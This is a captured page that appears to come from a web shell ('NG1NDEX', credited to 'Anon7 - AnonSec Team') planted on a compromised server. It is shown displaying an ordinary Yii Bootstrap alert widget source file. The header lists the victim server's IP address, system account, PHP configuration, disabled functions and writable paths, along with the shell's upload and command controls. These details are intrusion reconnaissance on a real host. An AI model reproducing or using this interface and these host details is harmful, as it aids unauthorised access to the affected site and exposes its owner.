NG1NDEX
Server IP : 103.233.192.212  /  Your IP : 18.224.70.193
Web Server : Apache/2
System : Linux sv1.inde.co.th 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : sumpatuan ( 1058)
PHP Version : 5.5.38
Disable Function : symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,putenv,passthru,escapeshellarg,escapeshellcmd,pcntl_exec,proc_get_status,proc_nice,proc_terminate,pclose,ini_alter,virtual,openlog,ini_restore
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sumpatuan/public_html/backup/protected/extensions/bootstrap/widgets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/sumpatuan/public_html/backup/protected/extensions/bootstrap/widgets/TbAlert.php
<?php
/**
 * TbAlert class file.
 * @author Christoffer Niska <ChristofferNiska@gmail.com>
 * @copyright  Copyright &copy; Christoffer Niska 2011-
 * @license http://www.opensource.org/licenses/bsd-license.php New BSD License
 * @package bootstrap.widgets
 */

/**
 * Bootstrap alert widget.
 * @see http://twitter.github.com/bootstrap/javascript.html#alerts
 */
class TbAlert extends CWidget
{
	// Alert types.
	const TYPE_SUCCESS = 'success';
	const TYPE_INFO = 'info';
	const TYPE_WARNING = 'warning';
	const TYPE_ERROR = 'error';
	const TYPE_DANGER = 'danger'; // same as error

	/**
	 * @var array the alerts configurations.
	 */
	public $alerts;
	/**
	 * @var string|boolean the close link text. If this is set false, no close link will be displayed.
	 */
	public $closeText = '&times;';
	/**
	 * @var boolean indicates whether the alert should be an alert block. Defaults to 'true'.
	 */
	public $block = true;
	/**
	 * @var boolean indicates whether alerts should use transitions. Defaults to 'true'.
	 */
	public $fade = true;
	/**
	 * @var string[] the Javascript event handlers.
	 */
	public $events = array();
	/**
	 * @var array the HTML attributes for the widget container.
	 */
	public $htmlOptions = array();

	/**
	 * Initializes the widget.
	 */
	public function init()
	{
		if (!isset($this->htmlOptions['id']))
			$this->htmlOptions['id'] = $this->getId();

		if (is_string($this->alerts))
			$this->alerts = array($this->alerts);

		// Display all alert types by default.
		if (!isset($this->alerts))
			$this->alerts = array(self::TYPE_SUCCESS, self::TYPE_INFO, self::TYPE_WARNING, self::TYPE_ERROR, self::TYPE_DANGER);
	}

	/**
	 * Runs the widget.
	 */
	public function run()
	{
		$id = $this->htmlOptions['id'];

		echo CHtml::openTag('div', $this->htmlOptions);

		foreach ($this->alerts as $type => $alert)
		{
			if (is_string($alert))
			{
				$type = $alert;
				$alert = array();
			}

			if (isset($alert['visible']) && $alert['visible'] === false)
				continue;

			if (Yii::app()->user->hasFlash($type))
			{
				$classes = array('alert in');

				if (!isset($alert['block']))
					$alert['block'] = $this->block;

				if ($alert['block'] === true)
					$classes[] = 'alert-block';

				if (!isset($alert['fade']))
					$alert['fade'] = $this->fade;

				if ($alert['fade'] === true)
					$classes[] = 'fade';

				$validTypes = array(self::TYPE_SUCCESS, self::TYPE_INFO, self::TYPE_WARNING, self::TYPE_ERROR, self::TYPE_DANGER);

				if (in_array($type, $validTypes))
					$classes[] = 'alert-'.$type;

				if (!isset($alert['htmlOptions']))
					$alert['htmlOptions'] = array();

				$classes = implode(' ', $classes);
				if (isset($alert['htmlOptions']['class']))
					$alert['htmlOptions']['class'] .= ' '.$classes;
				else
					$alert['htmlOptions']['class'] = $classes;

				echo CHtml::openTag('div', $alert['htmlOptions']);

				if ($this->closeText !== false && !isset($alert['closeText']))
					$alert['closeText'] = $this->closeText;
				else
					$alert['closeText'] = false;

				if ($alert['closeText'] !== false)
					echo '<a class="close" data-dismiss="alert">'.$alert['closeText'].'</a>';

				echo Yii::app()->user->getFlash($type);

				echo '</div>';
			}
		}

		echo '</div>';

		$selector = "#{$id} .alert";

		/** @var CClientScript $cs */
		$cs = Yii::app()->getClientScript();
		$cs->registerScript(__CLASS__.'#'.$id, "jQuery('{$selector}').alert();");

		foreach ($this->events as $name => $handler)
		{
			$handler = CJavaScript::encode($handler);
			$cs->registerScript(__CLASS__.'#'.$id.'_'.$name, "jQuery('{$selector}').on('{$name}', {$handler});");
		}
	}
}

Anon7 - 2022
AnonSec Team